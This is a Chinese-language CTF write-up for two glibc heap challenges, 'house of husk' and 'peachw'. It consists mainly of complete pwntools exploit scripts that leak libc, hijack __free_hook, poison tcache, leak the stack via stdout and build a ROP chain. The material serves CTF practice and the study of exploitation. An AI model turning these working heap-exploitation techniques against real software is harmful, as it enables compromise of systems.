三个pwn题就做了两个,rw两个题属于确实看不懂

送分题

house of husk

libc是2.27 1.2版本的,需要从glibc-all-in-one里下下来带符号的libc调试算偏移

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = remote('1.13.162.249',10001)
libc = ELF("./libc-2.27.so")

sz1 = 0x1850
r.recvuntil('Now you can get a big box, what size?')
r.sendline(str(sz1))

sz2 = 0x9420
r.recvuntil('Now you can get a bigger box, what size?')
r.sendline(str(sz2))

r.recvuntil("Do you want to rename?(y/n)")
r.sendline("y")

r.recvuntil("Now your name is:")
addr = u64(r.recvuntil(b"\x7f")[-6:]+b"\x00\x00")
libc.address = addr-96-0x10-libc.sym['__malloc_hook']
print hex(libc.address)


r.recvuntil("new name!")
r.send(p64(addr)+p64(libc.sym['__free_hook']+0x58-0x10))

r.recvuntil('Do you want to edit big box or bigger box?(1:big/2:bigger)')
r.sendline('bigger')

r.recvuntil("Let's edit, bigger")
r.send("\x00"*0x388+p64(libc.address+0x10a45c))

r.interactive()

peachw

感觉非预期了?

反正程序给的eat和开头给的地址都没用上,挺离谱的,第一天爆破eat爆了半天没爆出来,也不知道到底有没有解;然后程序开头读了个flag有如脱裤子放屁,多此一举了=-=我这做法最终都在栈上rop了岂不是……为所欲为……

做法

  • 用一次堆溢出改fd,通过不断申请释放0x250大小的chunk拿捏tcache结构体
  • 造一个unsorted bin,再放进large bin,再拿出来,部分覆盖fd低两个字节指向stdout(放进largebin是发现这样可以少爆破一点,不然又要挑战不可能了)
  • 接着把通过tcache结构体修改一个tcache指针指向刚才unsorted bin的fd,申请两次对应size的tcache再写入内容就能拿到基址
  • 然后再通过tcache结构体利用IO泄露environ的值,即栈地址
  • 最后再申请到栈上地址做rop

整个过程有1/256的概率成功

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#! /usr/bin/env pytho  
# -*- coding: utf-8 -*-

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

# r = process(["/lib64/ld-linux-x86-64.so.2", "./peachw"], env={"LD_PRELOAD":"/lib/x86_64-linux-gnu/libc.so.6"})

elf = ELF("./peachw")
libc = ELF('./libc/libc-2.26.so')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def debug(s=None):
if (s == None):
gdb.attach(r)
else:
gdb.attach(r, s)
pause()

def add(idx, name, sz, ct=None):
r.sendafter("Your choice: ", "\x01\x00\x00\x00\x00")
r.sendlineafter("Index ? ", str(idx))
r.sendafter("please name your peach : ", name)
r.sendlineafter("please input the size of your peach:", str(sz))
if ct != None:
r.sendafter("please descripe your peach :", ct)

def dele(idx):
r.sendafter("Your choice: ", "\x02\x00\x00\x00\x00")
r.sendlineafter("Index ?", str(idx))

def eat(idx, num):
r.sendafter("Your choice: ", "\x03\x00\x00\x00\x00")
r.sendlineafter("Index ? ", str(idx))
r.sendafter("What's your lucky number?", num)

def draw(idx, sz, ct):
r.sendafter("Your choice: ", "\x04\x00\x00\x00\x00")
r.sendlineafter("Index ? ", str(idx))
r.sendafter("please input the new size of your peach : ", p16(sz).ljust(5, b"\x00"))
r.sendafter("start to draw your peach ", ct)


def PWN():

r.recvuntil("Do you like peach?")
r.sendline("yes\x00")
r.recvuntil("The peach is ")
addr = int(r.recv(5), 10)
print hex(addr)
# debug()

# for i in range
add(0, "0"*0x10, 0x100, "A"*0x100)
add(1, "1"*0x10, 0x240, "A"*0x240)
add(2, "2"*0x10, 0x240, "A"*0x240)
add(3, "2"*0x10, 0x240, "A"*0x240)
dele(3)
dele(2)
dele(1)
draw(0, 0x400, b"\x00"*0x18+p64(0x0000000100000100)
+p64(0)+p64(0x111)+b"A"*0x100
+p64(0)+p64(0x31)+p64(0)*4+p64(0)+p64(0x251)+p16(0x9010))

add(1, "1"*0x10, 0x410, "A"*0x410)
add(2, "1"*0x10, 0x150, "A"*0x150)
dele(0)
dele(1)
add(0, "1"*0x10, 0x240, "A"*0x240)
add(1, "1"*0x10, 0x420, "A"*0x420)
dele(1)
# 0x0000000001000000
# 0x0000000100000000


dele(2)
add(1, "1"*0x10, 0x410, p16(0x0720))
pay = p64(0)*2+p64(0x0000000707000000)+p64(0)*25+p16(0x9b20)
add(3, "1"*0x10, 0x240, pay)

add(2, "1"*0x10, 0x150, "A"*0x150)
dele(1)
dele(0)

add(0, "1"*0x10, 0x150, p64(0xfbad1800)+p64(0)*3+b'\00')
try:
libc.address = u64(r.recvuntil(b"\x7f", timeout=1)[-6:]+b"\x00\x00")-0x3d73e0
print (hex(libc.address))
except:
exit()
else:
pass


dele(3)
pay = p64(0)*2+p64(0x0000000404000000)+p64(0)*25+p64(libc.sym['_IO_2_1_stdout_']+0x20)
add(3, "1"*0x10, 0x240, pay)


add(1, "1"*0x10, 0x150, p64(libc.sym['environ'])+p64(libc.sym['environ']+0x10))
# 0x555555759010
stack = u64(r.recvuntil(b"\x7f")[-6:]+b"\x00\x00")
print (hex(stack))
target = stack-0xf0

dele(3)
pay = p64(0)*2+p64(0x0000000404000000)+p64(0)*25+p64(target)
add(3, "1"*0x10, 0x240, pay)
dele(3)

flag = stack-0x208
prax_r = 0x00000000000234c3+libc.address
prdi_r = 0x0000000000020b8b+libc.address
prsi_r = 0x0000000000020a0b+libc.address
prdx_r = 0x0000000000001b96+libc.address

rop= p64(prdi_r)+p64(1)+p64(prsi_r)
rop+= p64(flag)+p64(prdx_r)+p64(0x50)
rop+= p64(libc.sym['write'])
add(3, "1"*0x10, 0x150, rop)
#chunk_ptr = 0x555555756180


if __name__ == '__main__':
while True:
try:
# r = process('./peachw')
r = remote('1.13.162.249',10003)
PWN()
except:
r.close()
continue
else:
r.interactive()
break

再鸽一手最后一题